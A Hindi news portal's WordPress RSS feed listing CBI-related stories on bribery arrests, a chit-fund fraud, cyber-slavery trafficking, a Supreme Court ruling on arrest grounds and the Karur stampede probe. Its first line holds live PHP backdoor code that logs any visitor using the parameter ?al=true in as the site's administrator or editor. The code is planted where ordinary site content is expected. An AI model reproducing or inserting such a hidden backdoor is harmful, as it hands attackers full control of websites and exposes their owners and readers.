// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); CBI – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Sat, 30 May 2026 06:55:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 मेरठ में 3 लाख की रिश्वत लेते भाजपा नेता और कैंट बोर्ड सदस्य गिरफ्तार https://pratyushaashakinayikiran.com/?p=223349 Sat, 30 May 2026 06:55:00 +0000 https://pratyushaashakinayikiran.com/?p=223349 मेरठ

यूपी में भ्रष्टाचार के खिलाफ जारी मुहिम के तहत धड़ाधड़ कार्रवाई की जा रही है। विजिलेंस, एंटी करप्शन के बाद अब सीबीआई ने भी रिश्वतखोरों पर शिकंजा कसना शुरू कर दिया है। मेरठ में सीबीआई ने कार्रवाई करते हुए मेरठ कैंट बोर्ड के मनोनीत सदस्य डॉ. सतीश चंद्र शर्मा को तीन लाख रुपये की रिश्वत लेते हुए रंगेहाथ गिरफ्तार किया है। सीबीआई की टीम देर रात तक इस मामले में पूछताछ करती रही। हालांकि पूरी कार्रवाई की आधिकारिक पुष्टि अभी नहीं हो सकी है।

​प्राप्त जानकारी के अनुसार भाजपा नेता और कैंट बोर्ड के मनोनीत सदस्य डॉ. सतीश शर्मा ने किसी सरकारी कार्य के एवज में एक ठेकेदार से रिश्वत की मांग की थी। ठेकेदार ने इसकी शिकायत सीबीआई से की जिसके बाद टीम ने मामले की गंभीरता को देखते हुए जाल बिछाया। जैसे ही ठेकेदार ने रिश्वत की रकम डॉ. सतीश शर्मा को सौंपी मौके पर मौजूद सीबीआई की टीम ने उन्हें रंगेहाथ दबोच लिया। गिरफ्तारी के तुरंत बाद सीबीआई की टीम ने जांच का दायरा बढ़ाते हुए मेरठ के पल्लवपुरम स्थित अंसल टाउन में छापेमारी की। सूत्रों के अनुसार डॉ. सतीश शर्मा के आवास और अन्य ठिकानों पर दस्तावेजों की गहन छानबीन की जा रही है। ​सीबीआई की टीम फिलहाल मामले से जुड़े अन्य तथ्यों और संलिप्त लोगों की जानकारी जुटाने में लगी है। देर रात तक आगे की पूछताछ और कार्रवाई जारी थी।

कैंट बोर्ड में मचा हड़कंप
​कैंट बोर्ड के सदस्य की इस तरह से गिरफ्तारी के बाद से स्थानीय प्रशासनिक और राजनीतिक गलियारों में हड़कंप मचा हुआ है। यह घटना भ्रष्टाचार के खिलाफ एक कड़ा संदेश मानी जा रही है। डॉ. सतीश चंद्र शर्मा भाजपा के वरिष्ठ नेता हैं, भाजपा नेता होने के नाते ही उन्हें कैंट बोर्ड में फरवरी-2022 में सदस्य नामित किया गया था। तब से उन्हें हर छह माह पर अवधि विस्तार दिया जा रहा है।

हापुड़ से जीएसटी विभाग का स्टेनो 24 हजार रुपये रिश्वत लेते गिरफ्तार
वहीं दूसरी ओर हापुड़ में विजिलेंस की टीम ने रिश्वतखोर को रंगे हाथ गिरफ्तार किया। टीम ने जीएसटी विभाग में सहायक आयुक्त राज्य कर खंड-4 के स्टेनो को 24 हजार रुपये रिश्वत लेते पकड़ा है। ग्राम दादरी निवासी चमन सिंह ने विजिलेंस टीम से शिकायत कर बताया था कि मोदीनगर रोड पर उसकी सावित्री बीज भंडार नाम से दुकान है। उन्होंने इसका जीएसटी नंबर लिया हुआ है। सहायक आयुक्त राज्य कर खंड-4 के स्टेनो जयदीप ने उनसे आठ मई को फोन कर अपने ऑफिस में आकर मिलने को कहा था। जब वह उनके ऑफिस गया तो स्टेनो जयदीप ने अपने कम्प्यूटर की स्क्रीन पर 48,000 रुपये का टैक्स शिकायतकर्ता की तरफ दिखाया। स्टेनो ने कहा कि अगर इसके आधे 24 हजार रुपये उसे
दे दें तो वह सारे टैक्स को अपने स्तर पर खत्म कर देगा।

चमन सिंह ने कहा कि उनके ऊपर ऐसा कोई टैक्स नहीं बनता है और न ही उसे किसी तरह का नोटिस दिया गया। अगर ऐसा कोई टैक्स बनता है तो वह उसे जमा करने को तैयार हैं। लेकिन स्टेनो जयदीप द्वारा 24 हजार रुपये की लगातार मांग की जाती रही। शिकायत के बाद विजिलेंस टीम ने आरोपी की धरपकड़ को जाल बिछाना शुरू कर दिया। शुक्रवार सुबह विजिलेंस टीम निरीक्षक रेनूका सिंह के नेतृत्व में रेवती कुंज स्थित जीएसटी कार्यालय पहुंची। चमन सिंह, स्टेनो जयदीप के पास पहुंचा और रिश्वत की रकम उसे सौंपी। जैसे ही आरोपी ने रुपये लिए विजिलेंस टीम ने तत्काल उसे दबोच लिया। कोतवाली प्रभारी निरीक्षक मनीष चौहान ने बताया विजिलेंस टीम की तहरीर पर स्टेनो जयदीप के खिलाफ मुकदमा दर्ज कराया जा रहा है।

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2 करोड़ से ज्यादा के चिट फंड घोटाले में बड़ी कार्रवाई, CBI ने आरोपी तन्मय मिर्धा को दबोचा https://pratyushaashakinayikiran.com/?p=194786 Fri, 30 Jan 2026 17:20:00 +0000 https://pratyushaashakinayikiran.com/?p=194786 नई दिल्ली
केंद्रीय अन्वेषण ब्यूरो (सीबीआई) ने 2 करोड़ रुपए से अधिक के चिट फंड घोटाले में फरार चल रहे आरोपी तन्मय मिर्धा को गिरफ्तार कर लिया है। यह गिरफ्तारी 29 जनवरी को पश्चिम बंगाल के नदिया जिले के ब्रह्म नगर इलाके से की गई। सीबीआई ने यह मामला 23 जून 2020 को सुप्रीम कोर्ट के निर्देशों के बाद दर्ज किया था। सुप्रीम कोर्ट ने पश्चिम बंगाल और ओडिशा में सक्रिय चिट फंड कंपनियों से जुड़े मामलों की गहन जांच के आदेश दिए थे। सीबीआई को जांच के दौरान पता चला कि आरोपी तन्मय मिर्धा एक्सप्रेस कल्टीवेशन लिमिटेड, कोलकाता का डायरेक्टर था और उसने अपने सहयोगियों के साथ मिलकर आम जनता से निवेश के नाम पर भारी धनराशि एकत्र की।
आरोपी ने आकर्षक रिटर्न का लालच देकर निवेशकों से करीब 2.1 करोड़ रुपए जुटाए और बाद में इस धन का गलत इस्तेमाल किया। निवेशकों को न तो तय समय पर वापस मिला और न ही उनकी मूल राशि वापस की गई, जिससे बड़ी संख्या में लोग आर्थिक नुकसान का शिकार हुए।
सीबीआई ने विस्तृत जांच पूरी करने के बाद 4 फरवरी 2022 को इस मामले में चार्जशीट दाखिल की थी, हालांकि आरोपी जांच के दौरान एजेंसी के समक्ष पेश नहीं हुआ और लगातार फरार बना रहा। इसके बाद कोलकाता स्थित एडिशनल चीफ मेट्रोपॉलिटन मजिस्ट्रेट की अदालत ने उसके खिलाफ गिरफ्तारी वारंट जारी किया।
लगातार फील्ड वेरिफिकेशन, तकनीकी इनपुट और खुफिया जानकारी के आधार पर सीबीआई ने 29 जनवरी को आरोपी की लोकेशन का पता लगाया, जिसके बाद सीबीआई ने इलाके में घेराबंदी कर आरोपी तन्मया मिर्धा को गिरफ्तार कर लिया। गिरफ्तारी के बाद आरोपी को संबंधित अदालत में पेश कर रिमांड पर लिया जा सकता है जिससे इस मामले में और जानकारी मिल सके।
सीबीआई के अधिकारी ने स्पष्ट किया है कि चिट फंड घोटालों में शामिल किसी भी आरोपी को छोड़ा नहीं जाएगा। जो भी इसमें दोषी पाए जाएंगे, जल्द से जल्द उनके खिलाफ कार्रवाई की जाएगी। तन्मय मिर्धा के बयान के आधार पर पता चलेगा कि इसमें कितने लोग शामिल हैं और किस तरह से आम जनता का पैसा लिया गया है।

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झारखंड शराब घोटाले की जांच से CBI ने खींचे हाथ, रायपुर जोनल ऑफिस ने किया इन्कार,HC में अगले हफ्ते सुनवाई https://pratyushaashakinayikiran.com/?p=194216 Fri, 23 Jan 2026 09:06:00 +0000 https://pratyushaashakinayikiran.com/?p=194216 रायपुर
झारखंड में सामने आए करोड़ों रुपये के शराब घोटाले की जांच को लेकर बड़ा घटनाक्रम सामने आया है। छत्तीसगढ़ की तर्ज पर दर्ज इस मामले की जांच से केंद्रीय जांच ब्यूरो ने हाथ खींच लिए हैं। सीबीआइ के रायपुर जोनल कार्यालय ने इस प्रकरण की जांच करने से इन्कार कर दिया है। इससे संबंधित सीबीआइ का पत्र छत्तीसगढ़ हाई कोर्ट में सुनवाई के दौरान पेश किया गया, जिसके बाद अदालत ने मामले की अगली सुनवाई अगले सप्ताह तय की है।

यह मामला रांची निवासी विकास सिंह की शिकायत से जुड़ा है, जिसके आधार पर झारखंड-छत्तीसगढ़ शराब घोटाले को लेकर छत्तीसगढ़ में प्रकरण दर्ज किया गया था। वर्तमान में इस मामले की जांच प्रवर्तन निदेशालय और छत्तीसगढ़ आर्थिक अपराध अन्वेषण शाखा (ईओडब्ल्यू) द्वारा की जा रही है।

हाई कोर्ट में तीन याचिकाएं लंबित

ईओडब्ल्यू द्वारा दर्ज प्राथमिकी से संबंधित इस प्रकरण में छत्तीसगढ़ हाई कोर्ट में तीन याचिकाएं विचाराधीन हैं। इनमें झारखंड के तत्कालीन उत्पाद सचिव विनय कुमार चौबे, संयुक्त उत्पाद आयुक्त गजेंद्र सिंह और शिकायतकर्ता विकास सिंह की याचिकाएं शामिल हैं। इन याचिकाओं पर मुख्य न्यायाधीश रमेश सिन्हा और न्यायमूर्ति अरविंद कुमार अग्रवाल की खंडपीठ में सुनवाई हुई।

महाधिवक्ता ने कोर्ट में रखा सीबीआइ का पत्र

सुनवाई के दौरान महाधिवक्ता विवेक शर्मा ने न्यायालय के समक्ष सीबीआइ रायपुर के हेड ऑफ ब्रांच द्वारा भेजे गए पत्र की प्रति प्रस्तुत की। पत्र में बताया गया कि छत्तीसगढ़ के मुख्य सचिव की ओर से भेजा गया जांच संबंधी पत्र सीबीआइ ने वापस कर दिया है, क्योंकि एजेंसी इस मामले की जांच करने के लिए इच्छुक नहीं है। महाधिवक्ता ने कहा कि वे मामले के मेरिट पर अदालत के समक्ष पक्ष रखना चाहते हैं। इस पर कोर्ट ने अगली सुनवाई में दलीलें सुनने का निर्णय लिया।

 

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CBI का बड़ा खुलासा: साइबर स्लेवरी रैकेट के दो एजेंट गिरफ्तार, राजस्थान-गुजरात से युवाओं को म्यांमार भेजा गया https://pratyushaashakinayikiran.com/?p=191120 Wed, 12 Nov 2025 17:05:00 +0000 https://pratyushaashakinayikiran.com/?p=191120 नई दिल्ली
केंद्रीय अन्वेषण ब्यूरो (CBI) ने एक बड़े अंतरराष्ट्रीय मानव तस्करी रैकेट का पर्दाफाश करते हुए म्यांमार में स्थित साइबर अपराध घोटाले के परिसरों (Cyber Crime Scam Compounds) में अवैध रूप से भारतीय नागरिकों की तस्करी से संबंधित दो मामले दर्ज किए हैं। इस मामले में दो मुख्य एजेंटों को गिरफ्तार किया गया है। ये मामले मानव तस्करी और गलत तरीके से बंधक बनाने (Wrongful Confinement) जैसे गंभीर अपराधों से संबंधित हैं, जिनके लिए आजीवन कारावास तक की सजा हो सकती है। हाल ही में, भारत सरकार ने म्यांमार से साइबर गुलामी (Cyber Slavery) के शिकार हुए कई पीड़ितों को छुड़ाने में मदद की थी। सीबीआई की जाँच में पता चला कि विदेशी स्कैम कंपाउंडों की ओर से कई एजेंट भारत में सक्रिय थे।

सीबीआई ने ऐसे ही दो एजेंटों की पहचान की, जिन्होंने राजस्थान और गुजरात से पीड़ितों को फंसाकर इन कंपाउंडों में भेजा था। इन दोनों आरोपियों को बचाए गए पीड़ितों के साथ भारत लौटते ही तत्काल गिरफ्तार कर लिया गया। थाईलैंड के रास्ते म्यांमार तक जालः जाँच से पता चला है कि अंतर्राष्ट्रीय संगठित सिंडिकेट भोले-भाले भारतीय नागरिकों को विदेशों में उच्च-वेतन वाली नौकरियों और आकर्षक रोजगार के अवसरों का झूठा वादा करके फंसाता है। उन्हें अक्सर थाईलैंड के रास्ते म्यांमार ले जाया जाता है। एक बार देश से बाहर ले जाने के बाद, उन्हें म्यांमार में एक जगह पर गलत तरीके से बंधक बना लिया जाता है और बड़े पैमाने पर साइबर धोखाधड़ी (Cyber Fraud) अभियानों में भाग लेने के लिए मजबूर किया जाता है। इन धोखाधड़ियों में डिजिटल अरेस्ट स्कैम, निवेश घोटाले और रोमांस फ्रॉड शामिल हैं, जो दुनिया भर के लोगों, यहाँ तक कि भारतीय नागरिकों को भी निशाना बनाते हैं।

तस्करी के शिकार लोगों को धमकी, कैद और शारीरिक शोषण का शिकार बनाया जाता है, और उन्हें अपनी इच्छा के विरुद्ध अवैध साइबर अपराध गतिविधियों में शामिल होने के लिए विवश किया जाता है। इन पीड़ितों को ही आमतौर पर "साइबर गुलाम" (Cyber Slaves) कहा जाता है। सीबीआई ने कहा है कि वह घरेलू और अंतर्राष्ट्रीय कानून प्रवर्तन एजेंसियों के समन्वय से साइबर गुलामी और अंतरराष्ट्रीय मानव तस्करी के इस उभरते खतरे का मुकाबला करने के लिए प्रतिबद्ध है। सीबीआई ने सभी नागरिकों, विशेषकर युवा नौकरी तलाशने वालों से आग्रह किया है कि वे सोशल मीडिया, ऑनलाइन विज्ञापनों या अनधिकृत एजेंटों के माध्यम से दिए जा रहे विदेशी रोजगार के किसी भी प्रस्ताव के खिलाफ अत्यधिक सावधानी बरतें।

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सुप्रीम कोर्ट का ऐतिहासिक फैसला: अब गिरफ्तारी से पहले पुलिस और एजेंसियों को देना होगा लिखित कारण https://pratyushaashakinayikiran.com/?p=189939 Fri, 07 Nov 2025 15:40:00 +0000 https://pratyushaashakinayikiran.com/?p=189939 नई दिल्ली

सुप्रीम कोर्ट ने एक महत्वपूर्ण और ऐतिहासिक आदेश जारी करते हुए कहा कि अब किसी भी नागरिक की गिरफ्तारी से पहले पुलिस, ED, CBI या कोई भी जांच एजेंसी आरोपी को लिखित रूप से गिरफ्तारी का कारण बताएगी। अदालत ने स्पष्ट किया कि गिरफ्तारी मनमाने ढंग से नहीं हो सकती, बल्कि उसके पीछे ठोस, स्पष्ट और कानूनी आधार होना जरूरी है। अदालत ने कहा कि गिरफ्तार किए जाने वाले व्यक्ति को यह जानने का संवैधानिक अधिकार है कि उसे किस मामले में और किस धारा के तहत गिरफ्तार किया जा रहा है। इसके साथ ही एजेंसी को गिरफ्तारी के समय लिखित नोटिस/गिरफ्तारी मेमो देना अनिवार्य होगा।

सुप्रीम कोर्ट ने गुरुवार को एक ऐतिहासिक फैसला सुनाते हुए पुलिस, ईडी, सीबीआई सहित सभी जांच एजेंसियों के लिए स्पष्ट दिशा-निर्देश जारी किए हैं। अदालत ने कहा कि किसी भी व्यक्ति को गिरफ्तार करने से पहले या गिरफ्तार करने के तुरंत बाद, उसे उसकी समझ में आने वाली भाषा में लिखित रूप से गिरफ्तारी का कारण बताना अनिवार्य होगा। मुख्य न्यायाधीश बी.आर. गवई और न्यायमूर्ति ऑगस्टीन जॉर्ज मसीह की बेंच ने कहा कि यदि गिरफ्तारी की वजह आरोपी को उसकी भाषा में लिखित रूप से नहीं बताई गई, तो ऐसी गिरफ्तारी और उसके बाद की रिमांड दोनों को अवैध माना जाएगा।

बता दें कि यह फैसला जुलाई 2024 में मुंबई में हुए बहुचर्चित बीएमडब्ल्यू हिट-एंड-रन केस से जुड़े ‘मिहिर राजेश शाह बनाम महाराष्ट्र सरकार’ मामले की सुनवाई के दौरान दिया गया। मुख्य न्यायाधीश बी.आर. गवई और न्यायमूर्ति ऑगस्टीन जॉर्ज मसीह की बेंच ने इस मामले में सुनवाई करते हुए स्पष्ट किया कि गिरफ्तार व्यक्ति को उसकी गिरफ्तारी से पहले या तुरंत बाद उसकी समझ में आने वाली भाषा में लिखित रूप से गिरफ्तारी का कारण बताना आवश्यक है।

इस फैसले में न्यायमूर्ति मसीह ने 52 पन्नों का विस्तृत निर्णय लिखा, जिसमें उन्होंने कहा कि संविधान के अनुच्छेद 22(1) के तहत गिरफ्तारी के कारणों की जानकारी देना केवल एक औपचारिकता नहीं, बल्कि व्यक्तिगत स्वतंत्रता की मौलिक सुरक्षा है।अदालत ने यह भी कहा कि गिरफ्तार व्यक्ति को कारणों की जानकारी ‘यथाशीघ्र’ दी जानी चाहिए, ताकि आरोपी को अपने अधिकारों और कानूनी स्थिति का स्पष्ट ज्ञान हो सके।

अदालत ने अपने फैसले में निम्न प्रमुख बिंदु निर्धारित किए हैं

गिरफ्तार व्यक्ति को गिरफ्तारी के आधार बताना संविधान का आदेश है, और यह किसी भी परिस्थिति में टाला नहीं जा सकता।

गिरफ्तारी का कारण लिखित रूप में दिया जाना अनिवार्य होगा, और वह भाषा वही होनी चाहिए जिसे आरोपी समझ सके।

यदि गिरफ्तारी के समय अधिकारी तत्काल लिखित कारण देने में असमर्थ हो,

तो पहले मौखिक रूप से कारण बताए जाएं, और

बाद में लिखित नोटिस, रिमांड के लिए मजिस्ट्रेट के समक्ष प्रस्तुत किए जाने से कम से कम दो घंटे पहले, आरोपी को सौंपा जाना चाहिए।

यदि गिरफ्तारी के कारण लिखित रूप में नहीं बताए गए, तो

गिरफ्तारी और उसके बाद की रिमांड दोनों को अवैध माना जाएगा, और आरोपी को रिहा होने का अधिकार होगा।

देशभर में लागू होगा आदेश

सुप्रीम कोर्ट ने निर्देश दिया है कि इस आदेश की प्रति देश के सभी हाईकोर्ट के रजिस्ट्रार जनरल, तथा सभी राज्यों और केंद्र शासित प्रदेशों के मुख्य सचिवों को भेजी जाएगी। इससे सुनिश्चित होगा कि यह फैसला पूरे भारत में तुरंत प्रभाव से लागू हो।

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डिजिटल अरेस्ट स्कैम पर सुप्रीम कोर्ट सख्त, केंद्र और हरियाणा सरकार समेत CBI को भेजा नोटिस https://pratyushaashakinayikiran.com/?p=186315 Sat, 18 Oct 2025 05:35:00 +0000 https://pratyushaashakinayikiran.com/?p=186315 नई दिल्ली

देशभर में तेजी से बढ़ रहे डिजिटल अरेस्ट स्कैम के मामलों पर अब सुप्रीम कोर्ट ने स्वतः संज्ञान लेते हुए सख्ती दिखाई है। कोर्ट ने इस मामले में केंद्र सरकार (MHA सेक्रेटरी), सीबीआई, हरियाणा सरकार और अंबाला के साइबर क्राइम विभाग को नोटिस जारी किया है।

सुप्रीम कोर्ट ने कहा कि न्यायाधीशों के फर्जी हस्ताक्षरों के साथ जारी किए गए फर्जी न्यायिक आदेश न्याय प्रणाली में जनता के विश्वास की नींव को हिला देते हैं। यह कार्य न केवल कानून के शासन पर हमला है बल्कि न्यायपालिका की गरिमा पर सीधा प्रहार भी है।

वरिष्ठ नागरिक दंपति की शिकायत से शुरू हुआ मामला
यह कार्रवाई उस शिकायत के बाद हुई जिसमें एक वरिष्ठ नागरिक दंपति से पिछले महीने डिजिटल अरेस्ट स्कैम के जरिए उनकी जीवनभर की बचत ठगी गई थी। इस गंभीर घटना को देखते हुए सुप्रीम कोर्ट ने खुद इस पर संज्ञान लिया।

जांच की स्थिति रिपोर्ट मांगी
सुप्रीम कोर्ट ने हरियाणा सरकार और अंबाला साइबर क्राइम के एसपी से अब तक हुई जांच की स्थिति रिपोर्ट दाखिल करने के निर्देश दिए हैं। कोर्ट ने कहा कि इस तरह के साइबर अपराधों पर सख्त कदम जरूरी हैं ताकि लोगों का भरोसा डिजिटल व्यवस्था पर बना रहे।

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करूर भगदड़ मामले में CBI जांच का आदेश, अभिनेता विजय की बढ़ सकती हैं मुश्किलें https://pratyushaashakinayikiran.com/?p=185238 Mon, 13 Oct 2025 08:57:00 +0000 https://pratyushaashakinayikiran.com/?p=185238 करूर 
तमिलनाडु के करूर में 27 सितंबर को हुई भगदड़ की जांच सीबीआई करेगी. सोमवार 13 अक्टूबर को सुनवाई के दौरान सुप्रीम कोर्ट ने सीबीआई से जांच कराने का आदेश दिया. इस भगदड़ में अभिनेता विजय की पार्टी तमिलागा वेत्री कझागम (TVK) के रैली के दौरान 41 लोगों की मौत हो गई थी, जिनमें महिलाएं और बच्चे शामिल थे. कोर्ट ने कहा कि निष्पक्ष और पारदर्शी जांच नागरिकों का अधिकार है. पूर्व सुप्रीम कोर्ट जज जस्टिस अजय रस्तोगी की अध्यक्षता में तीन सदस्यीय पैनल गठित किया गया, जो CBI जांच की निगरानी करेगी.

पूर्व जस्टिस होंगे कमिटी प्रमुख
शीर्ष अदालत ने सुप्रीम कोर्ट के पूर्व जस्टिस अजय रस्तोगी को उस कमिटी का प्रमुख नियुक्त किया है, जो CBI की जांच की निगरानी (मॉनिटरिंग) करेगी। इस कमेटी में तमिलनाडु कैडर के दो आईपीएस अधिकारी, जो तमिलनाडु के निवासी न हों, शामिल किए जा सकते हैं। CBI अधिकारी हर महीने जांच की प्रगति रिपोर्ट इस समिति को सौंपेंगे।

SC ने मद्रास हाई कोर्ट की आलोचना
सुप्रीम कोर्ट ने मद्रास हाई कोर्ट (चेन्नई बेंच) की भी आलोचना की कि उसने एक ऐसी याचिका पर विशेष जांच दल (SIT) गठित करने का आदेश दे दिया, जो वास्तव में केवल राजनीतिक रैलियों के लिए मानक संचालन प्रक्रिया (SOP) बनाने की मांग कर रही थी। सुप्रीम कोर्ट ने मद्रास हाई कोर्ट के रजिस्ट्रार जनरल से यह रिपोर्ट भी मांगी कि कैसे SOP से संबंधित याचिका को क्रिमिनल रिट याचिका के रूप में दर्ज किया गया।

चेन्नई बेंच को खारिज कर देनी चाहिए याचिका
सुप्रीम कोर्ट ने यह भी टिप्पणी की कि करूर मामला मदुरै बेंच के अधिकार क्षेत्र में आता है, इसलिए चेन्नई बेंच को इसे बिना मुख्य न्यायाधीश की अनुमति के सुनवाई में नहीं लेना चाहिए था। सुप्रीम कोर्ट ने कहा कि चेन्नई बेंच को यह याचिका खारिज कर देनी चाहिए थी।

TVK ने कोर्ट के इस आदेश को दी चुनौती
सुप्रीम कोर्ट के जस्टिस जे.के. माहेश्वरी और जस्टिस एन.वी. अंजारिया की बेंच ने यह अंतरिम आदेश TVK और अन्य पक्षों द्वारा दायर याचिका पर पारित किया। TVK ने 3 अक्टूबर को मद्रास हाई कोर्ट के उस आदेश को चुनौती दी थी जिसमें SIT गठित की गई थी। पार्टी ने यह आपत्ति भी जताई थी कि SIT में केवल तमिलनाडु पुलिस अधिकारी ही शामिल किए गए, और हाई कोर्ट ने TVK और विजय के खिलाफ नकारात्मक टिप्पणियां कीं। अन्य याचिकाओं में मदुरै बेंच के 3 अक्टूबर के आदेश को चुनौती दी गई थी, जिसमें जांच CBI को सौंपने से इनकार किया गया था।

सुप्रीम कोर्ट से किया सवाल

सुनवाई के दौरान सुप्रीम कोर्ट की बेंच ने मौखिक रूप से यह सवाल उठाया कि हाई कोर्ट ने यह आदेश कैसे पारित किया जब याचिका केवल SOP की मांग कर रही थी। सुप्रीम कोर्ट ने यह भी पूछा कि जब AIADMK को उसी जगह रैली करने की अनुमति नहीं दी गई थी, तो TVK को कैसे दी गई, जबकि उस रास्ते को संकीर्ण (narrow passage) बताकर अनुमति से मना किया गया था। अदालत ने यह भी चिंता जताई कि 30 से 40 शवों का पोस्टमार्टम आधी रात को किया गया और सुबह 4 बजे अंतिम संस्कार कर दिया गया।

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बेंगलुरु में बैंक से 8 करोड़ की धोखाधड़ी करने वाली महिला को CBI ने किया गिरफ्तार https://pratyushaashakinayikiran.com/?p=171535 Fri, 18 Jul 2025 10:16:00 +0000 https://pratyushaashakinayikiran.com/?p=171535 इंदौर 
 कहते भी हैं कि आरोपी कितना भी शातिर क्यों न हो, एक न एक दिन वह पुलिस की गिरफ्त में आ ही जाता है. ये बात एक बार फिर साबित हो गई. बेंगलुरु के एक सरकारी बैंक को एक महिला ने अपने पति के साथ मिलकर गच्चा दिया. बैंक को 8 करोड़ की चपत लगाकर दंपती लगातार फरार चल रहे थे. इस दौरान महिला के पति की मौत हो गई.

19 साल से फरार महिला गिरफ्तार

महिला ने इसके बाद अपनी फेस सर्जरी करवाई और कई शहरों में छिपी रही. आखिरकार 19 साल से फरार चल रही महिला को सीबीआई नई तकनीक के आधार पर इंदौर से दबोच लिया. उसे बेंगलुरु ले जाया गया है. महिला ने अपनी पहचान छुपाई लेकिन सीबीआई ने इमेज सर्च एनालिटिक्स सॉफ्टवेयर की मदद से सफलता पाई.

कंपनी बनाकर लगाया बैंक को चूना

मामले के अनुसार धोखाधड़ी का ये मामला 2002 से 2005 के बीच का है. महिला ने अपने पति के साथ मिलकर बेंगलुरु के एक सरकारी बैंक से 8 करोड रुपए की धोखाधड़ी की. 1 अगस्त 2006 को सीबीआई की बेंगलुरु शाखा ने दोनों के खिलाफ शिकायत दर्ज की. मामला दर्ज होते ही दंपती अपनी पहचान छुपाकर रहने लगे. इस दौरान दंपती ने इंदौर को मुख्य अड्डा बनाया. ये महिला उस समय खुद के द्वारा बनाई गई एक कंपनी की डायरेक्टर थी. इसी कंपनी के सीईओ उसके पति रामानुजन मुथुरामलिंगम शेखर थे.

नाम बदलकर रहने लगे आरोपी पति-पत्नी

इसी कंपनी के नाम पर दंपती ने बैंक को चूना लगाया. धोखाधड़ी के बाद ये दंपती कई शहरों में छुपते रहे. साथ ही इन लोगों ने इंदौर में डेरा डाल लिया. पति ने अपना नाम कृष्ण कुमार गुप्ता और पत्नी ने अपना नाम गीता कृष्ण कुमार गुप्ता रख लिया. वहीं, सीबीआई लगातार दोनों आरोपियों की तलाश कर रही थी. इसी दौरान पुलिस को जानकारी मिली कि आरोपी दंपती इंदौर में रह रहे हैं. इसके बाद जांच पड़ताल की तो जानकारी सही पाई गई.

आरोपी महिला को बेंगलुरु की जेल भेजा

सीबीआई को ये भी पता चला कि आरोपी महिला के पति रामानुजम की 2008 में मौत हो गई थी. इसके बाद आरोपी महिला ने अपने फेस सर्जरी करवाई और बेफिक्र होकर रहने लगी. लेकिन सीबीआई ने इमेज सर्च एनालिसिस सॉफ्टवेयर और अन्य तकनीक का प्रयोग करते हुए महिला की फोटो का मिलान किया और उसके बाद गिरफ्तार कर लिया. महिला को बेंगलुरु ले जाया गया, वहां पर कोर्ट में पेश किया, जहां से उसे न्यायिक हिरासत में भेज दिया गया है. 

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गुना के बहुचर्चित देवा पारदी कस्टडी डेथ केस में सीबीआई ने पहली गिरफ्तारी करते हुए एसआई देवराज सिंह परिहार को हिरासत में ले लिया https://pratyushaashakinayikiran.com/?p=168550 Fri, 04 Jul 2025 10:45:00 +0000 https://pratyushaashakinayikiran.com/?p=168550 गुना
 गुना के बहुचर्चित देवा पारदी कस्टडी डेथ केस में एक बड़ा अपडेट आया है। सीबीआई ने पहली गिरफ्तारी करते हुए एसआई देवराज सिंह परिहार को हिरासत में ले लिया है। यह मामला 15 जुलाई 2024 का है, जब म्याना पुलिस ने देवा पारदी को एक चोरी के केस में पूछताछ के लिए उठाया था। अगली ही शाम देवा की लाश पोस्टमार्टम रूम में मिली थी। सुप्रीम कोर्ट के आदेश पर सीबीआई जांच शुरू हुई और अब एसआई देवराज सिंह परिहार की गिरफ्तारी हुई है।

बुधवार को सीबीआई की टीम अचानक गुना पहुंची। टीम सीधे एसपी ऑफिस गई। वहां से आरोपी एसआई देवराज सिंह परिहार को अपने साथ लेकर रवाना हो गई। इस गिरफ्तारी से मामले में आगे की कार्रवाई की उम्मीद बढ़ गई है।

शादी के दिन देवा की गिरफ्तारी
बता दें कि बीलाखेड़ी गांव में रहने वाले देवा पारदी की शादी होने वाली थी। उसकी उम्र 25 साल थी। घर में तैयारियां चल रही थी। उसी शाम बारात गुना शहर के गोकुल सिंह चक्क जाने वाली थी। तभी म्याना पुलिस गांव पहुंची। पुलिस ने देवा और उसके चाचा गंगाराम को बारात में जाने वाले ट्रैक्टर से ही थाने ले गई। पुलिस का कहना था कि उन्हें एक चोरी के केस में पूछताछ करनी है और कुछ सामान बरामद करना है। लेकिन अगली ही शाम एक दुखद खबर आई। परिजनों को जिला अस्पताल से सूचना मिली कि एक पारदी युवक की लाश पोस्टमार्टम रूम में है। जब परिजन वहां पहुंचे, तो उन्हें देवा की मौत की जानकारी मिली।

मौत के बाद परिजनों का हंगामा
देवा की मौत की खबर से पूरे इलाके में बवाल मच गया। पारदी समुदाय की महिलाएं जिला अस्पताल पहुंची और विरोध प्रदर्शन किया। देवा की चाची और होने वाली दुल्हन ने गुस्से में अपने ऊपर पेट्रोल डालकर आग लगाने की कोशिश की। लेकिन वहां मौजूद पुलिसकर्मियों ने उन्हें बचा लिया। महिलाओं ने पुलिस पर गंभीर आरोप लगाए। उनका कहना था कि म्याना थाने में देवा और गंगाराम की बुरी तरह पिटाई की गई। इसी पिटाई के कारण देवा की मौत हो गई। इसके दो दिन बाद 17 जुलाई को महिलाओं ने कलेक्ट्रेट में प्रदर्शन किया और अपने कपड़े तक उतार दिए थे।

जांच में जुटी सीबीआई
इस मामले की गंभीरता को देखते हुए देवा की मां ने सुप्रीम कोर्ट में याचिका दायर की। मई 2025 में सुप्रीम कोर्ट ने इस केस को सीबीआई को सौंप दिया। कोर्ट ने सीबीआई को आदेश दिया कि एक महीने में आरोपियों को गिरफ्तार किया जाए। इसी आदेश पर कार्रवाई करते हुए सीबीआई ने बुधवार को एसआई देवराज सिंह परिहार को गिरफ्तार किया। सीबीआई की रिपोर्ट के अनुसार इस मामले में और भी पुलिसकर्मी शामिल हैं। सीबीआई की कार्रवाई से अब उम्मीद है कि इस मामले में और भी गिरफ्तारियां होंगी।

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रिटायर्ड लोको पायलट के ठिकाने पर सीबीआई की दबिश, कार्रवाई के चलते शहर में हड़कंप मच गया https://pratyushaashakinayikiran.com/?p=165496 Sat, 21 Jun 2025 09:17:00 +0000 https://pratyushaashakinayikiran.com/?p=165496 भोपाल

